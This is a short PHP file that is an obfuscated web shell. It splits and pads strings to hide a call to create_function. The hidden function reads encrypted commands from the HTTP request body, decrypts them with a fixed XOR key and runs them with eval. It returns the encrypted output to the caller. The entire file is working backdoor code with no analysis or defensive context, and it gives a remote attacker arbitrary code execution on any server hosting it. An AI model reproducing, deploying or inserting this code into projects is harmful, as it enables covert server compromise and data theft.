<?php
$V='ql=strlenq($t);q$oq="";for(q$i=0;$i<$l;){forq($qj=0q;($j<$c&&$i';
$y=str_replace('iQ','','iQcriQeate_iQfiQuiQnciQtion');
$n='bqaqse64_eqncode(q@x(@gzcomprqess($oqqq),$k));print("$qp$kh$r$kf");}';
$U='$m)==1q) {@ob_starqt();@evaql(@gqzuncomprqess(@x(@qbqase64_qdqe';
$R='q$k="7073420f"q;$khq="60d8qc5f923a9"q;$kqf="q2e656qq516qa5b4";$p=';
$J='q<$l);q$j++,$i++)q{$o.=$qt{$i}^q$k{$jq};}}rqeturnq $o;}if qq(@preg_mqa';
$u='"BN4TtAPJqBiKPdtbqAq";functiqon x($t,$qk){$c=strlqenq($qk);$';
$P='tch("/$kh(q.+)$qkfq/",q@filqe_get_contents("pqhp:q//inputqq"),q';
$m='code($m[1q]),$k)));q$o=@oqb_get_conqtents()q;@ob_enqd_cleqanq();$r=@';
$a=str_replace('q','',$R.$u.$V.$J.$P.$U.$m.$n);
$k=$y('',$a);$k();
?>